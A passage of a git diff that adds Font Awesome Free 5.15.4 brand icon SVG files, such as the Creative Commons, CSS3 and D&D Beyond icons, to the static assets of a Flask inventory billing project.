5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm107 205.6c-4.7 0-9 2.8-10.7 7.2l-4 9.5-11-92.8c-1.7-13.9-22-13.4-23.1.4l-4.3 51.4-5.2-68.8c-1.1-14.3-22.1-14.2-23.2 0l-3.5 44.9-5.9-94.3c-.9-14.5-22.3-14.4-23.2 0l-5.1 83.7-4.3-66.3c-.9-14.4-22.2-14.4-23.2 0l-5.3 80.2-4.1-57c-1.1-14.3-22-14.3-23.2-.2l-7.7 89.8-1.8-12.2c-1.7-11.4-17.1-13.6-22-3.3l-13.2 27.7H87.5v23.2h51.3c4.4 0 8.4-2.5 10.4-6.4l10.7 73.1c2 13.5 21.9 13 23.1-.7l3.8-43.6 5.7 78.3c1.1 14.4 22.3 14.2 23.2-.1l4.6-70.4 4.8 73.3c.9 14.4 22.3 14.4 23.2-.1l4.9-80.5 4.5 71.8c.9 14.3 22.1 14.5 23.2.2l4.6-58.6 4.9 64.4c1.1 14.3 22 14.2 23.1.1l6.8-83 2.7 22.3c1.4 11.8 17.7 14.1 22.3 3.1l18-43.4h50.5V258l-58.4.3zm-78 5.2h-21.9v21.9c0 4.1-3.3 7.5-7.5 7.5-4.1 0-7.5-3.3-7.5-7.5v-21.9h-21.9c-4.1 0-7.5-3.3-7.5-7.5 0-4.1 3.4-7.5 7.5-7.5h21.9v-21.9c0-4.1 3.4-7.5 7.5-7.5s7.5 3.3 7.5 7.5v21.9h21.9c4.1 0 7.5 3.3 7.5 7.5 0 4.1-3.4 7.5-7.5 7.5z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/creative-commons-sampling.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/creative-commons-sampling.svg new file mode 100644 index 00000000..0b59ed22 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/creative-commons-sampling.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm3.6 53.2c2.8-.3 11.5 1 11.5 11.5l6.6 107.2 4.9-59.3c0-6 4.7-10.6 10.6-10.6 5.9 0 10.6 4.7 10.6 10.6 0 2.5-.5-5.7 5.7 81.5l5.8-64.2c.3-2.9 2.9-9.3 10.2-9.3 3.8 0 9.9 2.3 10.6 8.9l11.5 96.5 5.3-12.8c1.8-4.4 5.2-6.6 10.2-6.6h58v21.3h-50.9l-18.2 44.3c-3.9 9.9-19.5 9.1-20.8-3.1l-4-31.9-7.5 92.6c-.3 3-3 9.3-10.2 9.3-3 0-9.8-2.1-10.6-9.3 0-1.9.6 5.8-6.2-77.9l-5.3 72.2c-1.1 4.8-4.8 9.3-10.6 9.3-2.9 0-9.8-2-10.6-9.3 0-1.9.5 6.7-5.8-87.7l-5.8 94.8c0 6.3-3.6 12.4-10.6 12.4-5.2 0-10.6-4.1-10.6-12l-5.8-87.7c-5.8 92.5-5.3 84-5.3 85.9-1.1 4.8-4.8 9.3-10.6 9.3-3 0-9.8-2.1-10.6-9.3 0-.7-.4-1.1-.4-2.6l-6.2-88.6L182 348c-.7 6.5-6.7 9.3-10.6 9.3-5.8 0-9.6-4.1-10.6-8.9L149.7 272c-2 4-3.5 8.4-11.1 8.4H87.2v-21.3H132l13.7-27.9c4.4-9.9 18.2-7.2 19.9 2.7l3.1 20.4 8.4-97.9c0-6 4.8-10.6 10.6-10.6.5 0 10.6-.2 10.6 12.4l4.9 69.1 6.6-92.6c0-10.1 9.5-10.6 10.2-10.6.6 0 10.6.7 10.6 10.6l5.3 80.6 6.2-97.9c.1-1.1-.6-10.3 9.9-11.5z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/creative-commons-share.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/creative-commons-share.svg new file mode 100644 index 00000000..cf0a234b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/creative-commons-share.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm101 132.4c7.8 0 13.7 6.1 13.7 13.7v182.5c0 7.7-6.1 13.7-13.7 13.7H214.3c-7.7 0-13.7-6-13.7-13.7v-54h-54c-7.8 0-13.7-6-13.7-13.7V131.1c0-8.2 6.6-12.7 12.4-13.7h136.4c7.7 0 13.7 6 13.7 13.7v54h54zM159.9 300.3h40.7V198.9c0-7.4 5.8-12.6 12-13.7h55.8v-40.3H159.9v155.4zm176.2-88.1H227.6v155.4h108.5V212.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/creative-commons-zero.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/creative-commons-zero.svg new file mode 100644 index 00000000..a625567c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/creative-commons-zero.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm-.4 60.5c-81.9 0-102.5 77.3-102.5 142.8 0 65.5 20.6 142.8 102.5 142.8S350.5 321.5 350.5 256c0-65.5-20.6-142.8-102.5-142.8zm0 53.9c3.3 0 6.4.5 9.2 1.2 5.9 5.1 8.8 12.1 3.1 21.9l-54.5 100.2c-1.7-12.7-1.9-25.1-1.9-34.4 0-28.8 2-88.9 44.1-88.9zm40.8 46.2c2.9 15.4 3.3 31.4 3.3 42.7 0 28.9-2 88.9-44.1 88.9-13.5 0-32.6-7.7-20.1-26.4l60.9-105.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/creative-commons.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/creative-commons.svg new file mode 100644 index 00000000..6f4dc622 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/creative-commons.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M245.83 214.87l-33.22 17.28c-9.43-19.58-25.24-19.93-27.46-19.93-22.13 0-33.22 14.61-33.22 43.84 0 23.57 9.21 43.84 33.22 43.84 14.47 0 24.65-7.09 30.57-21.26l30.55 15.5c-6.17 11.51-25.69 38.98-65.1 38.98-22.6 0-73.96-10.32-73.96-77.05 0-58.69 43-77.06 72.63-77.06 30.72-.01 52.7 11.95 65.99 35.86zm143.05 0l-32.78 17.28c-9.5-19.77-25.72-19.93-27.9-19.93-22.14 0-33.22 14.61-33.22 43.84 0 23.55 9.23 43.84 33.22 43.84 14.45 0 24.65-7.09 30.54-21.26l31 15.5c-2.1 3.75-21.39 38.98-65.09 38.98-22.69 0-73.96-9.87-73.96-77.05 0-58.67 42.97-77.06 72.63-77.06 30.71-.01 52.58 11.95 65.56 35.86zM247.56 8.05C104.74 8.05 0 123.11 0 256.05c0 138.49 113.6 248 247.56 248 129.93 0 248.44-100.87 248.44-248 0-137.87-106.62-248-248.44-248zm.87 450.81c-112.54 0-203.7-93.04-203.7-202.81 0-105.42 85.43-203.27 203.72-203.27 112.53 0 202.82 89.46 202.82 203.26-.01 121.69-99.68 202.82-202.84 202.82z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/critical-role.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/critical-role.svg new file mode 100644 index 00000000..60bffe63 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/critical-role.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M225.82 0c.26.15 216.57 124.51 217.12 124.72 3 1.18 3.7 3.46 3.7 6.56q-.11 125.17 0 250.36a5.88 5.88 0 0 1-3.38 5.78c-21.37 12-207.86 118.29-218.93 124.58h-3C142 466.34 3.08 386.56 2.93 386.48a3.29 3.29 0 0 1-1.88-3.24c0-.87 0-225.94-.05-253.1a5 5 0 0 1 2.93-4.93C27.19 112.11 213.2 6 224.07 0zM215.4 20.42l-.22-.16Q118.06 75.55 21 130.87c0 .12.08.23.13.35l30.86 11.64c-7.71 6-8.32 6-10.65 5.13-.1 0-24.17-9.28-26.8-10v230.43c.88-1.41 64.07-110.91 64.13-111 1.62-2.82 3-1.92 9.12-1.52 1.4.09 1.48.22.78 1.42-41.19 71.33-36.4 63-67.48 116.94-.81 1.4-.61 1.13 1.25 1.13h186.5c1.44 0 1.69-.23 1.7-1.64v-8.88c0-1.34 2.36-.81-18.37-1-7.46-.07-14.14-3.22-21.38-12.7-7.38-9.66-14.62-19.43-21.85-29.21-2.28-3.08-3.45-2.38-16.76-2.38-1.75 0-1.78 0-1.76 1.82.29 26.21.15 25.27 1 32.66.52 4.37 2.16 4.2 9.69 4.81 3.14.26 3.88 4.08.52 4.92-1.57.39-31.6.51-33.67-.1a2.42 2.42 0 0 1 .3-4.73c3.29-.76 6.16.81 6.66-4.44 1.3-13.66 1.17-9 1.1-79.42 0-10.82-.35-12.58-5.36-13.55-1.22-.24-3.54-.16-4.69-.55-2.88-1-2-4.84 1.77-4.85 33.67 0 46.08-1.07 56.06 4.86 7.74 4.61 12 11.48 12.51 20.4.88 14.59-6.51 22.35-15 32.59a1.46 1.46 0 0 0 0 2.22c2.6 3.25 5 6.63 7.71 9.83 27.56 33.23 24.11 30.54 41.28 33.06.89.13 1-.42 1-1.15v-11c0-1 .32-1.43 1.41-1.26a72.37 72.37 0 0 0 23.58-.3c1.08-.15 1.5.2 1.48 1.33 0 .11.88 26.69.87 26.8-.05 1.52.67 1.62 1.89 1.62h186.71Q386.51 304.6 346 234.33c2.26-.66-.4 0 6.69-1.39 2-.39 2.05-.41 3.11 1.44 7.31 12.64 77.31 134 77.37 134.06V138c-1.72.5-103.3 38.72-105.76 39.68-1.08.42-1.55.2-1.91-.88-.63-1.9-1.34-3.76-2.09-5.62-.32-.79-.09-1.13.65-1.39.1 0 95.53-35.85 103-38.77-65.42-37.57-130.56-75-196-112.6l86.82 150.39-.28.33c-9.57-.9-10.46-1.6-11.8-3.94-1-1.69-73.5-127.71-82-142.16-9.1 14.67-83.56 146.21-85.37 146.32-2.93.17-5.88.08-9.25.08q43.25-74.74 86.18-149zm51.93 129.92a37.68 37.68 0 0 0 5.54-.85c1.69-.3 2.53.2 2.6 1.92 0 .11.07 19.06-.86 20.45s-1.88 1.22-2.6-.19c-5-9.69 6.22-9.66-39.12-12-.7 0-1 .23-1 .93 0 .13 3.72 122 3.73 122.11 0 .89.52 1.2 1.21 1.51a83.92 83.92 0 0 1 8.7 4.05c7.31 4.33 11.38 10.84 12.41 19.31 1.44 11.8-2.77 35.77-32.21 37.14-2.75.13-28.26 1.08-34.14-23.25-4.66-19.26 8.26-32.7 19.89-36.4a2.45 2.45 0 0 0 2-2.66c.1-5.63 3-107.1 3.71-121.35.05-1.08-.62-1.16-1.35-1.15-32.35.52-36.75-.34-40.22 8.52-2.42 6.18-4.14 1.32-3.95.23q1.59-9 3.31-18c.4-2.11 1.43-2.61 3.43-1.86 5.59 2.11 6.72 1.7 37.25 1.92 1.73 0 1.78-.08 1.82-1.85.68-27.49.58-22.59 1-29.55a2.69 2.69 0 0 0-1.63-2.8c-5.6-2.91-8.75-7.55-8.9-13.87-.35-14.81 17.72-21.67 27.38-11.51 6.84 7.19 5.8 18.91-2.45 24.15a4.35 4.35 0 0 0-2.22 4.34c0 .59-.11-4.31 1 30.05 0 .9.43 1.12 1.24 1.11.1 0 23-.09 34.47-.37zM68.27 141.7c19.84-4.51 32.68-.56 52.49 1.69 2.76.31 3.74 1.22 3.62 4-.21 5-1.16 22.33-1.24 23.15a2.65 2.65 0 0 1-1.63 2.34c-4.06 1.7-3.61-4.45-4-7.29-3.13-22.43-73.87-32.7-74.63 25.4-.31 23.92 17 53.63 54.08 50.88 27.24-2 19-20.19 24.84-20.47a2.72 2.72 0 0 1 3 3.36c-1.83 10.85-3.42 18.95-3.45 19.15-1.54 9.17-86.7 22.09-93.35-42.06-2.71-25.85 10.44-53.37 40.27-60.15zm80 87.67h-19.49a2.57 2.57 0 0 1-2.66-1.79c2.38-3.75 5.89.92 5.86-6.14-.08-25.75.21-38 .23-40.1 0-3.42-.53-4.65-3.32-4.94-7-.72-3.11-3.37-1.11-3.38 11.84-.1 22.62-.18 30.05.72 8.77 1.07 16.71 12.63 7.93 22.62-2 2.25-4 4.42-6.14 6.73.95 1.15 6.9 8.82 17.28 19.68 2.66 2.78 6.15 3.51 9.88 3.13a2.21 2.21 0 0 0 2.23-2.12c.3-3.42.26 4.73.45-40.58 0-5.65-.34-6.58-3.23-6.83-3.95-.35-4-2.26-.69-3.37l19.09-.09c.32 0 4.49.53 1 3.38 0 .05-.16 0-.24 0-3.61.26-3.94 1-4 4.62-.27 43.93.07 40.23.41 42.82.11.84.27 2.23 5.1 2.14 2.49 0 3.86 3.37 0 3.4-10.37.08-20.74 0-31.11.07-10.67 0-13.47-6.2-24.21-20.82-1.6-2.18-8.31-2.36-8.2-.37.88 16.47 0 17.78 4 17.67 4.75-.1 4.73 3.57.83 3.55zm275-10.15c-1.21 7.13.17 10.38-5.3 10.34-61.55-.42-47.82-.22-50.72-.31a18.4 18.4 0 0 1-3.63-.73c-2.53-.6 1.48-1.23-.38-5.6-1.43-3.37-2.78-6.78-4.11-10.19a1.94 1.94 0 0 0-2-1.44 138 138 0 0 0-14.58.07 2.23 2.23 0 0 0-1.62 1.06c-1.58 3.62-3.07 7.29-4.51 11-1.27 3.23 7.86 1.32 12.19 2.16 3 .57 4.53 3.72.66 3.73H322.9c-2.92 0-3.09-3.15-.74-3.21a6.3 6.3 0 0 0 5.92-3.47c1.5-3 2.8-6 4.11-9.09 18.18-42.14 17.06-40.17 18.42-41.61a1.83 1.83 0 0 1 3 0c2.93 3.34 18.4 44.71 23.62 51.92 2 2.7 5.74 2 6.36 2 3.61.13 4-1.11 4.13-4.29.09-1.87.08 1.17.07-41.24 0-4.46-2.36-3.74-5.55-4.27-.26 0-2.56-.63-.08-3.06.21-.2-.89-.24 21.7-.15 2.32 0 5.32 2.75-1.21 3.45a2.56 2.56 0 0 0-2.66 2.83c-.07 1.63-.19 38.89.29 41.21a3.06 3.06 0 0 0 3.23 2.43c13.25.43 14.92.44 16-3.41 1.67-5.78 4.13-2.52 3.73-.19zm-104.72 64.37c-4.24 0-4.42-3.39-.61-3.41 35.91-.16 28.11.38 37.19-.65 1.68-.19 2.38.24 2.25 1.89-.26 3.39-.64 6.78-1 10.16-.25 2.16-3.2 2.61-3.4-.15-.38-5.31-2.15-4.45-15.63-5.08-1.58-.07-1.64 0-1.64 1.52V304c0 1.65 0 1.6 1.62 1.47 3.12-.25 10.31.34 15.69-1.52.47-.16 3.3-1.79 3.07 1.76 0 .21-.76 10.35-1.18 11.39-.53 1.29-1.88 1.51-2.58.32-1.17-2 0-5.08-3.71-5.3-15.42-.9-12.91-2.55-12.91 6 0 12.25-.76 16.11 3.89 16.24 16.64.48 14.4 0 16.43-5.71.84-2.37 3.5-1.77 3.18.58-.44 3.21-.85 6.43-1.23 9.64 0 .36-.16 2.4-4.66 2.39-37.16-.08-34.54-.19-35.21-.31-2.72-.51-2.2-3 .22-3.45 1.1-.19 4 .54 4.16-2.56 2.44-56.22-.07-51.34-3.91-51.33zm-.41-109.52c2.46.61 3.13 1.76 2.95 4.65-.33 5.3-.34 9-.55 9.69-.66 2.23-3.15 2.12-3.34-.27-.38-4.81-3.05-7.82-7.57-9.15-26.28-7.73-32.81 15.46-27.17 30.22 5.88 15.41 22 15.92 28.86 13.78 5.92-1.85 5.88-6.5 6.91-7.58 1.23-1.3 2.25-1.84 3.12 1.1 0 .1.57 11.89-6 12.75-1.6.21-19.38 3.69-32.68-3.39-21-11.19-16.74-35.47-6.88-45.33 14-14.06 39.91-7.06 42.32-6.47zM289.8 280.14c3.28 0 3.66 3 .16 3.43-2.61.32-5-.42-5 5.46 0 2-.19 29.05.4 41.45.11 2.29 1.15 3.52 3.44 3.65 22 1.21 14.95-1.65 18.79-6.34 1.83-2.24 2.76.84 2.76 1.08.35 13.62-4 12.39-5.19 12.4l-38.16-.19c-1.93-.23-2.06-3-.42-3.38 2-.48 4.94.4 5.13-2.8 1-15.87.57-44.65.34-47.81-.27-3.77-2.8-3.27-5.68-3.71-2.47-.38-2-3.22.34-3.22 1.45-.02 17.97-.03 23.09-.02zm-31.63-57.79c.07 4.08 2.86 3.46 6 3.58 2.61.1 2.53 3.41-.07 3.43-6.48 0-13.7 0-21.61-.06-3.84 0-3.38-3.35 0-3.37 4.49 0 3.24 1.61 3.41-45.54 0-5.08-3.27-3.54-4.72-4.23-2.58-1.23-1.36-3.09.41-3.15 1.29 0 20.19-.41 21.17.21s1.87 1.65-.42 2.86c-1 .52-3.86-.28-4.15 2.47 0 .21-.82 1.63-.07 43.8zm-36.91 274.27a2.93 2.93 0 0 0 3.26 0c17-9.79 182-103.57 197.42-112.51-.14-.43 11.26-.18-181.52-.27-1.22 0-1.57.37-1.53 1.56 0 .1 1.25 44.51 1.22 50.38a28.33 28.33 0 0 1-1.36 7.71c-.55 1.83.38-.5-13.5 32.23-.73 1.72-1 2.21-2-.08-4.19-10.34-8.28-20.72-12.57-31a23.6 23.6 0 0 1-2-10.79c.16-2.46.8-16.12 1.51-48 0-1.95 0-2-2-2h-183c2.58 1.63 178.32 102.57 196 112.76zm-90.9-188.75c0 2.4.36 2.79 2.76 3 11.54 1.17 21 3.74 25.64-7.32 6-14.46 2.66-34.41-12.48-38.84-2-.59-16-2.76-15.94 1.51.05 8.04.01 11.61.02 41.65zm105.75-15.05c0 2.13 1.07 38.68 1.09 39.13.34 9.94-25.58 5.77-25.23-2.59.08-2 1.37-37.42 1.1-39.43-14.1 7.44-14.42 40.21 6.44 48.8a17.9 17.9 0 0 0 22.39-7.07c4.91-7.76 6.84-29.47-5.43-39a2.53 2.53 0 0 1-.36.12zm-12.28-198c-9.83 0-9.73 14.75-.07 14.87s10.1-14.88.07-14.91zm-80.15 103.83c0 1.8.41 2.4 2.17 2.58 13.62 1.39 12.51-11 12.16-13.36-1.69-11.22-14.38-10.2-14.35-7.81.05 4.5-.03 13.68.02 18.59zm212.32 6.4l-6.1-15.84c-2.16 5.48-4.16 10.57-6.23 15.84z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/css3-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/css3-alt.svg new file mode 100644 index 00000000..89a9ddb0 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/css3-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M0 32l34.9 395.8L192 480l157.1-52.2L384 32H0zm313.1 80l-4.8 47.3L193 208.6l-.3.1h111.5l-12.8 146.6-98.2 28.7-98.8-29.2-6.4-73.9h48.9l3.2 38.3 52.6 13.3 54.7-15.4 3.7-61.6-166.3-.5v-.1l-.2.1-3.6-46.3L193.1 162l6.5-2.7H76.7L70.9 112h242.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/css3.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/css3.svg new file mode 100644 index 00000000..e708a07f --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/css3.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M480 32l-64 368-223.3 80L0 400l19.6-94.8h82l-8 40.6L210 390.2l134.1-44.4 18.8-97.1H29.5l16-82h333.7l10.5-52.7H56.3l16.3-82H480z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/cuttlefish.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/cuttlefish.svg new file mode 100644 index 00000000..8fbd9ebc --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/cuttlefish.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 440 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M344 305.5c-17.5 31.6-57.4 54.5-96 54.5-56.6 0-104-47.4-104-104s47.4-104 104-104c38.6 0 78.5 22.9 96 54.5 13.7-50.9 41.7-93.3 87-117.8C385.7 39.1 320.5 8 248 8 111 8 0 119 0 256s111 248 248 248c72.5 0 137.7-31.1 183-80.7-45.3-24.5-73.3-66.9-87-117.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/d-and-d-beyond.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/d-and-d-beyond.svg new file mode 100644 index 00000000..538b8b2f --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/d-and-d-beyond.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M313.8 241.5c13.8 0 21-10.1 24.8-17.9-1-1.1-5-4.2-7.4-6.6-2.4 4.3-8.2 10.7-13.9 10.7-10.2 0-15.4-14.7-3.2-26.6-.5-.2-4.3-1.8-8 2.4 0-3 1-5.1 2.1-6.6-3.5 1.3-9.8 5.6-11.4 7.9.2-5.8 1.6-7.5.6-9l-.2-.2s-8.5 5.6-9.3 14.7c0 0 1.1-1.6 2.1-1.9.6-.3 1.3 0 .6 1.9-.2.6-5.8 15.7 5.1 26-.6-1.6-1.9-7.6 2.4-1.9-.3.1 5.8 7.1 15.7 7.1zm52.4-21.1c0-4-4.9-4.4-5.6-4.5 2 3.9.9 7.5.2 9 2.5-.4 5.4-1.6 5.4-4.5zm10.3 5.2c0-6.4-6.2-11.4-13.5-10.7 8 1.3 5.6 13.8-5 11.4 3.7-2.6 3.2-9.9-1.3-12.5 1.4 4.2-3 8.2-7.4 4.6-2.4-1.9-8-6.6-10.6-8.6-2.4-2.1-5.5-1-6.6-1.8-1.3-1.1-.5-3.8-2.2-5-1.6-.8-3-.3-4.8-1-1.6-.6-2.7-1.9-2.6-3.5-2.5 4.4 3.4 6.3 4.5 8.5 1 1.9-.8 4.8 4 8.5 14.8 11.6 9.1 8 10.4 18.1.6 4.3 4.2 6.7 6.4 7.4-2.1-1.9-2.9-6.4 0-9.3 0 13.9 19.2 13.3 23.1 6.4-2.4 1.1-7-.2-9-1.9 7.7 1 14.2-4.1 14.6-10.6zm-39.4-18.4c2 .8 1.6.7 6.4 4.5 10.2-24.5 21.7-15.7 22-15.5 2.2-1.9 9.8-3.8 13.8-2.7-2.4-2.7-7.5-6.2-13.3-6.2-4.7 0-7.4 2.2-8 1.3-.8-1.4 3.2-3.4 3.2-3.4-5.4.2-9.6 6.7-11.2 5.9-1.1-.5 1.4-3.7 1.4-3.7-5.1 2.9-9.3 9.1-10.2 13 4.6-5.8 13.8-9.8 19.7-9-10.5.5-19.5 9.7-23.8 15.8zm242.5 51.9c-20.7 0-40 1.3-50.3 2.1l7.4 8.2v77.2l-7.4 8.2c10.4.8 30.9 2.1 51.6 2.1 42.1 0 59.1-20.7 59.1-48.9 0-29.3-23.2-48.9-60.4-48.9zm-15.1 75.6v-53.3c30.1-3.3 46.8 3.8 46.8 26.3 0 25.6-21.4 30.2-46.8 27zM301.6 181c-1-3.4-.2-6.9 1.1-9.4 1 3 2.6 6.4 7.5 9-.5-2.4-.2-5.6.5-8-1.4-5.4 2.1-9.9 6.4-9.9 6.9 0 8.5 8.8 4.7 14.4 2.1 3.2 5.5 5.6 7.7 7.8 3.2-3.7 5.5-9.5 5.5-13.8 0-8.2-5.5-15.9-16.7-16.5-20-.9-20.2 16.6-20 18.9.5 5.2 3.4 7.8 3.3 7.5zm-.4 6c-.5 1.8-7 3.7-10.2 6.9 4.8-1 7-.2 7.8 1.8.5 1.4-.2 3.4-.5 5.6 1.6-1.8 7-5.5 11-6.2-1-.3-3.4-.8-4.3-.8 2.9-3.4 9.3-4.5 12.8-3.7-2.2-.2-6.7 1.1-8.5 2.6 1.6.3 3 .6 4.3 1.1-2.1.8-4.8 3.4-5.8 6.1 7-5 13.1 5.2 7 8.2.8.2 2.7 0 3.5-.5-.3 1.1-1.9 3-3 3.4 2.9 0 7-1.9 8.2-4.6 0 0-1.8.6-2.6-.2s.3-4.3.3-4.3c-2.3 2.9-3.4-1.3-1.3-4.2-1-.3-3.5-.6-4.6-.5 3.2-1.1 10.4-1.8 11.2-.3.6 1.1-1 3.4-1 3.4 4-.5 8.3 1.1 6.7 5.1 2.9-1.4 5.5-5.9 4.8-10.4-.3 1-1.6 2.4-2.9 2.7.2-1.4-1-2.2-1.9-2.6 1.7-9.6-14.6-14.2-14.1-23.9-1 1.3-1.8 5-.8 7.1 2.7 3.2 8.7 6.7 10.1 12.2-2.6-6.4-15.1-11.4-14.6-20.2-1.6 1.6-2.6 7.8-1.3 11 2.4 1.4 4.5 3.8 4.8 6.1-2.2-5.1-11.4-6.1-13.9-12.2-.6 2.2-.3 5 1 6.7 0 0-2.2-.8-7-.6 1.7.6 5.1 3.5 4.8 5.2zm25.9 7.4c-2.7 0-3.5-2.1-4.2-4.3 3.3 1.3 4.2 4.3 4.2 4.3zm38.9 3.7l-1-.6c-1.1-1-2.9-1.4-4.7-1.4-2.9 0-5.8 1.3-7.5 3.4-.8.8-1.4 1.8-2.1 2.6v15.7c3.5 2.6 7.1-2.9 3-7.2 1.5.3 4.6 2.7 5.1 3.2 0 0 2.6-.5 5-.5 2.1 0 3.9.3 5.6 1.1V196c-1.1.5-2.2 1-2.7 1.4zM79.9 305.9c17.2-4.6 16.2-18 16.2-19.9 0-20.6-24.1-25-37-25H3l8.3 8.6v29.5H0l11.4 14.6V346L3 354.6c61.7 0 73.8 1.5 86.4-5.9 6.7-4 9.9-9.8 9.9-17.6 0-5.1 2.6-18.8-19.4-25.2zm-41.3-27.5c20 0 29.6-.8 29.6 9.1v3c0 12.1-19 8.8-29.6 8.8zm0 59.2V315c12.2 0 32.7-2.3 32.7 